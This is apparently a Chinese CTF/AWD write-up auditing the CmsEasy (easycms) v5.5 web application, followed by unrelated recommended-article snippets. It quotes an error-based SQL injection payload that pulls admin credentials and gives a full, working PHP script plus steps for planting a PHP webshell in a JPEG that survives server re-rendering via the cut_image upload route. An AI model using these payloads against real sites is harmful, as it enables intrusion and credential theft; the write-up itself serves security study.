easycms v5.5 分析 | Bugku S3 AWD排位赛

2023-09-15 22:25:22

前言

这个awd打的悲，后台默认用户名密码为admin:admin，但是几乎所有人都改了

而且一进去看到这个cms就有点懵逼，都不知道这个cms是干嘛的（没用过相似的cms）

虽然网上找出了很多相关的漏洞，但是不知道为什么一个都没用上，或者说是用不了

所以现在来审计一下这个cms

根据里面的注释我得出是 v5.5 的版本（虽然不知道有没有经过bugku的魔改）
在这里插入图片描述
不过上面说的版权倒是给我整不会了，有没有专业人士说说我这个研究算不算破解，反正网上挺多的
而且bugku也对其进行过修改（awd的时候index.php加了个后门）

路由分析

我进入后台admin的时候会自动跳转到 index.php?case=admin&act=login&admin_dir=admin&site=default
据我的经验，这里用的是参数作为路由

case=admin		# 指定类
act=login		# 指定类方法
admin_dir=admin
site=default

一切都是由 lib\tool\front_class.php 中的 front 作为引导
index.php
在这里插入图片描述

进入该类，找到dispatch函数
在这里插入图片描述
method_exists 是 PHP 中的一个内置函数，用于检查一个类是否包含某个指定的方法（成员函数）。

也就是说 $case 指定类， $method 指定该类的方法

在这里插入图片描述

case: admin_act
method: login_action

而这两个值都由请求参数 case 和 act 决定
但是这个类的路径在何处呢，我们继续追踪

在 method_exists 的上面，case已经被new过了，当new的时候找不到类时，就触发了 __autoload 方法
在这里插入图片描述
在这里插入图片描述
最后类的路径是 lib/admin/admin_act.php
为什么会找到这个地方的类，
在这里插入图片描述
set_include_path 可以设置文件包含时的路径，这里设置了 /lib/admin ，而该方法在 front 的初始化函数就被执行过了

被设置的路径在index.php 中也被设置过
在这里插入图片描述

set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');

也就是参数路由的执行函数都在 lib 文件夹中找

后台登录分析

既然知道了路由规则，那么现在看看是否能通过注入到达后端

首先通过审计代码我们知道一共有三处过滤，第一个是new front的时候 __construct中的过滤

index.php
在这里插入图片描述

lib\tool\front_class.php
在这里插入图片描述
这里直接对所有GET参数的username过滤了单双引号导致最后的sql语句无法被闭合，现在我还是没想到怎么绕过这里，

第一个也是 front中 __construct中的过滤
在这里插入图片描述
这里先判断php是否会自动转义引号，这里我有必要解释一下

get_magic_quotes_gpc 是一个 PHP 函数，它在旧版本的 PHP（PHP 5.4 之前）中可用。它用于检查 PHP 配置中是否启用了"魔术引号"（Magic Quotes）功能。魔术引号是 PHP 中引入的一个功能，用于自动转义传入数据中的字符（例如，来自表单提交或外部来源的数据），以帮助防止 SQL 注入和其他安全漏洞。

如果启用了魔术引号（get_magic_quotes_gpc() 返回 1 或 true），PHP 会自动在 $_GET、$_POST、$_COOKIE 和 $_REQUEST 数组中的传入数据添加转义斜杠（\）。这种转义是为了使数据在 SQL 查询中使用时更安全。

如果禁用了魔术引号（get_magic_quotes_gpc() 返回 0 或 false），PHP 不会自动添加转义斜杠

然而，魔术引号存在许多问题，本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除

回到正题，从上面的代码看出，上面的代码对所有请求的参数都进行了引号转义导致注入困难

第三处过滤
在该路由中获取数据处,根据前面的规则，找打该路由
lib\admin\admin_act.php
在这里插入图片描述

$user=$user->getrow(array('username'=>front::post('username'),'password'=>md5(front::post('password'))));

这里传递的是一个有键值的字典

一直跟进
lib\inc\table.php
在这里插入图片描述
key进行了html实体的转义
对key和value都进行了关键字过滤

从这三处过滤，我觉得过滤字符串我还是没啥头绪，急需指点

celive sql注入

我在一篇文章中找到了sql注入的点
https://vulners.com/seebug/SSV:94004

但是我在里面并没有注入成功，所以我研究起了代码

文章给出的exp是这样的

链接：
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST：
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

文章说没有过滤，但是我在调试时发现引号被 addslashes 过滤
体现在 celive\include\common.inc.php 中
在这里插入图片描述
文章第一个漏洞处体现在 celive\include\xajax.inc.php
在这里插入图片描述

文件上传漏洞

分析

这是在一篇文章看到的
https://www.cnblogs.com/yx20145312/p/7020516.html

起初按照他的做法，确实可以上传文件，而且后缀也是php
但是…
最终也是执行失败了，而且根本找不到图片中我设定的 "马"

最后通过我仔细的源码审计我发现…
在这里插入图片描述
这里作者将分割符 & 都打成两个不一样的字符，复制上去能用才有鬼

而且参数是根据自己的远程图片的信息来定的，而就是说这些参数都是变量，都是根据图片自身来设定，不能完全照抄

所以我们重新来审计一下全过程

漏洞点在 index.php?case=tool&act=cut_image

而根据路由规则， 这个文件在 tool_act.php 中tool_act 类的 cut_image_action 方法

此漏洞利用需要布置一个ftp服务器，并且需要可以匿名登录，在匿名用户的目录放置一个图片马
在window搭建你可以参考这篇文章 https://www.cnblogs.com/yx20145312/p/7020516.html
也可以在网上寻找答案

先说一个这个api是干嘛的，这样才能更好理解漏洞的成因

通过代码的分析，发现其是一个裁剪图片的功能, 至于作者设计时是不是开放远程还是只针对本地图片我们就不得而知了

POST : index.php?case=tool&act=cut_image

pic=test.png
w=2		# 输出图像的宽
h=2		# 输出图像的高
x1=0	# 输入图像的 x 轴
y1=0	 # 输入图像的 y 轴
x2=700	# 输入图像的另一个 x 轴
y2=1120	# 输入图像的另一个 y 轴

简单来说, x1,y1,x2,y2 决定了源图像的大小和位置,而 pic 是我们输入的图片
这里给出一次请求
在这里插入图片描述

源图片是这样的
在这里插入图片描述

而裁剪后是这样的
在这里插入图片描述

也就是说

w=100
h=100
x1=0
y1=0
x2=300
y2=300

在这里插入图片描述
将一个300 * 300 的图像（x1,y2，x2,y3指定）,放入了100 * 100 的盒子里(w,h指定)，结果就是等比例缩小了

那么现在看源码

在这里插入图片描述
如果base_url设置空（默认设置为空）,那么len变量值就为 1
下面会判断 pic 参数是否为http，如果不是，就去掉开头为len长度的变量
比如 len如果为3 pic=123ftp://127.0.0.1 最后就会变成 pic=ftp://127.0.0.1

此时我们的len为1那么只需要在前面填上一个垃圾数据即可
pic=1ftp://127.0.0.1

在这里插入图片描述

$thumb->set(front::$post['thumb'],'jpg');

这里获取文件的一些信息

        $img=$thumb->create_image(
            $thumb->im,
            $_POST['w'],
            $_POST['h'],
            0,
            0,
            $_POST['x1'],
            $_POST['y1'],
            $_POST['x2'] -$_POST['x1'],
            $_POST['y2'] -$_POST['y1']
        );

这里对图像继续裁剪返回一个裁剪后的图像
这里最终调用的函数其实是这个，你跟进也是能看到的，我的是排版了的
在这里插入图片描述

file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

这里对输出裁剪后的图像进行保存

困惑

原本我以为到这已经结束了，没想到真正的后头戏现在才开始
我发现上传上去的图片马都被二次渲染了，原本的一句话早已经不见了踪影
原本的想法是先上传一张，然后对比裁剪后的看哪里相同，结果发现，根本没用…

直觉告诉我，问题就出在 ImageCopyResampled函数上
于是上网找到了方法
突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

但是…
在这里插入图片描述
这个脚本告诉我，他失败了
于是， 我再次遨游于网络的海洋
功夫不负有心人！上文章
CmsEasy前台无限制GetShell【Getshell的补充说明】

在这里插入图片描述
博客上说，传递图片的时候不能带路径，也就是说必须于脚本同一个目录才能生效

这里说下如何使用脚本
脚本

<?php
        /*
        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
        caused by PHP functions imagecopyresized() and imagecopyresampled().
        It is necessary that the size and quality of the initial image are the same as those of the processed
        image.
        1) Upload an arbitrary image via secured files upload script
        2) Save the processed image and launch:
        php jpg_payload.php <jpg_name.jpg>
        In case of successful injection you will get a specially crafted image, which should be uploaded again.
        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
        initial image.
        Sergey Bobrov @Black2Fan.
        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
        */
 
        $miniPayload = '<?php phpinfo();?>';   # 这里写入一句话
 
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
        }
      print_r($argv);
        // exit;
        if(!isset($argv[1])) {
                die('php jpg_payload.php <jpg_name.jpg>');
        }
 
        set_error_handler("custom_error_handler");
 
        for($pad = 0; $pad < 1024; $pad++) {
                $nullbytePayloadSize = $pad;
                $dis = new DataInputStream($argv[1]);
                $outStream = file_get_contents($argv[1]);
                $extraBytes = 0;
                $correctImage = TRUE;
 
                if($dis->readShort() != 0xFFD8) {
                        die('Incorrect SOI marker');
                }
 
                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                        $marker = $dis->readByte();
                        $size = $dis->readShort() - 2;
                        $dis->skip($size);
                        if($marker === 0xDA) {
                                $startPos = $dis->seek();
                                $outStreamTmp =
                                        substr($outStream, 0, $startPos) .
                                        $miniPayload .
                                        str_repeat("\0",$nullbytePayloadSize) .
                                        substr($outStream, $startPos);
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                                if($extraBytes !== 0) {
                                        while((!$dis->eof())) {
                                                if($dis->readByte() === 0xFF) {
                                                        if($dis->readByte !== 0x00) {
                                                                break;
                                                        }
                                                }
                                        }
                                        $stopPos = $dis->seek() - 2;
                                        $imageStreamSize = $stopPos - $startPos;
                                        $outStream =
                                                substr($outStream, 0, $startPos) .
                                                $miniPayload .
                                                substr(
                                                        str_repeat("\0",$nullbytePayloadSize).
                                                                substr($outStream, $startPos, $imageStreamSize),
                                                        0,
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                                                substr($outStream, $stopPos);
                                } elseif($correctImage) {
                                        $outStream = $outStreamTmp;
                                } else {
                                        break;
                                }
                                if(checkImage('payload_'.$argv[1], $outStream)) {
                                        die('Success!');
                                } else {
                                        break;
                                }
                        }
                }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
 
        function checkImage($filename, $data, $unlink = FALSE) {
                global $correctImage;
                file_put_contents($filename, $data);
                $correctImage = TRUE;
                imagecreatefromjpeg($filename);
                if($unlink)
                        unlink($filename);
                return $correctImage;
        }
 
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
                global $extraBytes, $correctImage;
                $correctImage = FALSE;
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                        if(isset($m[1])) {
                                $extraBytes = (int)$m[1];
                        }
                }
        }
 
        class DataInputStream {
                private $binData;
                private $order;
                private $size;
 
                public function __construct($filename, $order = false, $fromString = false) {
                        $this->binData = '';
                        $this->order = $order;
                        if(!$fromString) {
                                if(!file_exists($filename) || !is_file($filename))
                                        die('File not exists ['.$filename.']');
                                $this->binData = file_get_contents($filename);
                        } else {
                                $this->binData = $filename;
                        }
                        $this->size = strlen($this->binData);
                }
 
                public function seek() {
                        return ($this->size - strlen($this->binData));
                }
 
                public function skip($skip) {
                        $this->binData = substr($this->binData, $skip);
                }
 
                public function readByte() {
                        if($this->eof()) {
                                die('End Of File');
                        }
                        $byte = substr($this->binData, 0, 1);
                        $this->binData = substr($this->binData, 1);
                        return ord($byte);
                }
 
                public function readShort() {
                        if(strlen($this->binData) < 2) {
                                die('End Of File');
                        }
                        $short = substr($this->binData, 0, 2);
                        $this->binData = substr($this->binData, 2);
                        if($this->order) {
                                $short = (ord($short[1]) << 8) + ord($short[0]);
                        } else {
                                $short = (ord($short[0]) << 8) + ord($short[1]);
                        }
                        return $short;
                }
 
                public function eof() {
                        return !$this->binData||(strlen($this->binData) === 0);
                }
        }
?>

需要先上传图片 (需要jpg图片，这里我改了后缀，其实改不改都可以，最后要给脚本传递jpg的图片)
在这里插入图片描述
然后把上传上去的图片下载下来作为脚本的参数

然后将图片放在与脚本同一目录下

php payload.php 1694764156416.jpg

然后会在目录下生成一张图片马
在把这个图片马上传上去 （我的其他参数没动）

在这里插入图片描述
访问下图片马
在这里插入图片描述
别的不说，NB

exp

这里总结一下大概步骤
先准备一张 jpg 类型的图片，然后上传到cmseasy，然后下载下来那张上传后的图片（此时这张图片不是原来那张了，而是经过了二次渲染）
将图片给脚本执行（需要与脚本同一目录），payload执行的语句可以在脚本中修改
将脚本生成的图片再上传上去，访问执行

更多推荐

硬实力+软实力！2023功能测试进阶之路！

作为一名游戏功能测试，偶尔和朋友聊起工作，他们会说：“你这个工作好呀，平时玩玩游戏，一边玩一边就把工作做了”；有时为了避免别人这样理解，我干脆说自己是搞游戏开发的，这个时候又有人会说：“就是写代码是吧，你的发量看起来还不错呀！”，这些时候我往往也很无奈，因为之前很多时候其实自己也说不清楚，作为功能测试，到底具备了哪些专

Mysql库的操作

文章目录1.库的操作2.字符集和校验规则2.1校验规则对数据库的影响2.2修改数据库2.3备份和恢复3.查看连接情况1.库的操作说明：大写的表示关键字[]是可选项CHARACTERSET:指定数据库采用的字符集COLLATE:指定数据库字符集的校验规则这就是创建一个最简单的数据库。如果我们想看这个数据库的基本信息，我们

「计算机知识随记」Unicode 与 UTF-8 和仍然存在的乱码问题

0背景中文维基百科对Unicode的定义是:如果有一种编码，将世界上所有的符号都纳入其中。每一个符号都给予一个独一无二的编码，那么乱码问题就会消失。这就是Unicode，就像它的名字都表示的，这是一种所有符号的编码。可是在Unicode已经发布的(Unicode1991年发布,UTF-8是1993年初发布)三十年中,编

九、性能测试之网络测试

性能测试之网络测试一、网络知识二、判断带宽是否有问题1）查看本机带宽：1、ping目标服务器2、查看网卡三、网络调优实战：当接口报地址被占用/连接超时原因1：是源端口不够用解决方案：1、我们尝试去掉keep-alive，发现没有根本解决问题，只是把报错时间延后2、在windows和linux解决源端口的问题1）wind

开启海外“新副本”，中旭未来有几道“关卡”要闯？

随着游戏版号逐渐恢复正常发行，我国游戏市场重回增长快车道，行业景气度也逐步回升。伽马数据显示，2023年1-6月，中国自主研发游戏国内市场实际销售收入1217.84亿元，环比增长24.53%。近期，凭一句“我是渣渣辉，是兄弟就来砍我”走红全网的“贪玩蓝月”系列游戏迎来好消息，其母公司广州中旭未来科技有限公司（以下简称“

iMovie for Mac v10.3.9(视频剪辑)

iMovie是一款视频剪辑软件，广泛应用于Mac和iOS设备。以下是关于iMovie软件的一些推荐信息：简单易用。iMovie的设计简洁，操作简单，即使是没有剪辑经验的新手也可以轻松上手。软件内置了丰富的视觉效果、滤镜、绿幕抠图、分屏和画中画功能，可以满足用户的基本需求。高质量音频编辑工具。iMovie具有强大的音频编

nlp自然语言处理

NLPnlp自然语言处理（不一定是文本，图形也可以）接入深度学习（向量处理），需要把文字等内容转换成向量输入深度学习分为有监督和无监督学习两类，对应分类和生成算法都是向量输入词嵌入（映射到向量）词嵌入最简单的模型是one-hot，但数据计算量太大，所以后续更多的是减少数据量和建立关联性one-hot，最简单分类（单位矩

5G技术与教育的融合：挑战与机遇

5G技术与教育的融合：挑战与机遇摘要：本文旨在探讨5G技术在教育领域的应用及其对教育产业的潜在影响。首先，我们将简要介绍5G技术和现代教育技术的背景和现状。接着，我们将详细讲解5G技术在教育领域的应用，包括教学场景、互动模式和教育内容等方面，并通过实际案例进行分析。随后，我们将对5G技术在教育中的优缺点进行深入探讨，提

解锁前端Vue3宝藏级资料 第五章 Vue 组件应用 1( Props )

本章带领大家理解组件、props、emits、slots、providers/injects，Vue插件等Vue组件使用的基础知识。5.1组件注册5.2Props5.2.1组件之间如何传值5.2.2参数绑定v-bind5.2.3参数类型5.2.4props默认与必填5.2.5验证设置5.2.6useAttrs属性设置第

大数据名词——MPP（Massively Parallel Processing）数据集市

MPP（MassivelyParallelProcessing）数据集市是指一种基于大规模并行处理的数据存储和分析平台，旨在支持高效的数据处理和查询。MPP数据集市通常由多个节点组成，每个节点都具备计算和存储能力，并且可以同时处理大量的数据。MPP数据集市的主要特点包括以下几个方面：1.并行处理能力：MPP数据集市使用

知识产权之围：跨境电商卖家的法律防线

在当今数字化全球市场中，跨境电商是企业扩大国际业务的重要途径。然而，随着全球贸易的复杂化，知识产权问题已成为跨境电商卖家必须面对的挑战之一。本文将通过一个具体案例来探讨知识产权的重要性以及跨境电商卖家如何建立法律防线来保护自己的创意和品牌。Sophia'sBoutique的知识产权之困Sophia是一位富有创造力的跨境

热文推荐
  1. Rust常见集合

    迄今为止，我们前面遇到的数据类型基本都是栈上存储的。Rust标准库中包含一系列被称为集合（collections）的非常有用的数据结构。这些集合指向的数据是储存在堆上的，这意味着数据的数量不必在编译时就已知，并且还可以随着程序的运行增长或缩小。本篇我们将了解三个在Rust程序中被广泛使用的集合：vector允许我们一个

  2. 「粉红杀手」通缉令，AI 阅读乳腺 X 光片的能力已与医生相当

    据世界卫生组织统计，2020年全球新发乳腺癌病例230万例，在所有癌症中居首位，超越肺癌成为第一大癌。然而，如果能够早期发现并加以及时治疗，在肿瘤转移之前杀死癌细胞，乳腺癌的致死率就可以大大降低。目前乳腺癌初筛的常用手段是乳腺X光，随后医生通过分析复核X光片对乳腺健康情况进行判断。但复核过程会消耗大量时间，影响其他患者

  3. Nodejs+vue体育用品商城商品购物推荐系统_t81xg

    本课题基于协同过滤算法，主要采用nodejs技术和MySQL数据库技术以及vue框架进行开发。功能主要包括首页、个人中心、用户管理、商品分类管理、商品信息管理、交流论坛、留言板、系统管理、订单管理等功能，从而实现个性化智能体育商品推荐方式，提高个性化智能体育商品推荐的效率。相比于传统的体育商品推荐方式，个性化智能的管理

  4. 拉斯克奖（Lasker Award）2023

    拉斯克奖（LaskerAward）2023🔈🔈🔈：deeplearning的两位科学家获得了拉斯克奖，这让人不禁对今年的诺贝奖展开大胆的预测。1.拉斯克奖（LaskerAward）简介Lasker-DeBakeyClinicalMedicalResearchAward（LaskerAward）是美国著名的医学科学

  5. F.interpolate 在训练过程中无可学习参数

    在PyTorch中，F.interpolate函数本身并没有可学习参数。它是一个用于调整输入张量尺寸的函数，通常用于图像的上采样或下采样操作。F.interpolate函数根据提供的调整方式（如插值方法、缩放因子等），对输入张量进行插值操作以得到目标尺寸的输出张量。这个过程是根据输入数据进行计算，而没有额外的可学习参数

  6. 基于TensorFlow+CNN+协同过滤算法的智能电影推荐系统——深度学习算法应用(含微信小程序、ipynb工程源码)+MovieLens数据集（四）

    目录前言总体设计系统整体结构图系统流程图运行环境模块实现1.模型训练1）数据集分析2）数据预处理3）模型创建4）模型训练5）获取特征矩阵(1)定义函数用于获取保存的张量(2)生成电影特征矩阵(3)生成用户特征矩阵相关其它博客工程源代码下载其它资料下载前言本项目专注于MovieLens数据集，并采用TensorFlow中

  7. Verilog：$readmemb和$readmemh系统函数的使用与其中的初始化地址相关问题（详细细节）

    相关阅读Verilog基础https://blog.csdn.net/weixin_45791458/category_12263729.html?spm=1001.2014.3001.5482$readmemb和$readmemh两个系统函数用于将文件中的数据加载到存储器或者被称为数组的memory中。首先给出他们的

  8. 真的假的？产品经理门槛这么低？

    “产品经理太水了！是个人都能当”“产品经理就是为数不多的门槛低薪资高的花瓶岗位吧”“如果你找不到工作，试试产品经理吧！”最近总能刷到大家对于产品经理的讨论，感觉这个岗位就是吃闲饭的，只需要动动嘴皮子，手下的工作都能交给员工。但是事实上真的有大家说的这么轻松吗？其实大家说的有只是一部分现象，但其实大多数的企业对于产品经理

  9. SQL 2008 R2 和vCenter 5.1安装步骤与AQ

    准备情况：Windows2008r2sp164bit操作系统Sql2008完整版安装包（名称：SQLFULL_CHS.iso安装完成会安装managment）vCenter完整版安装包（名称：VMware-VIMSetupall-5.1.0-799735.iso）IE8安装包（IE8-WindowsServer2003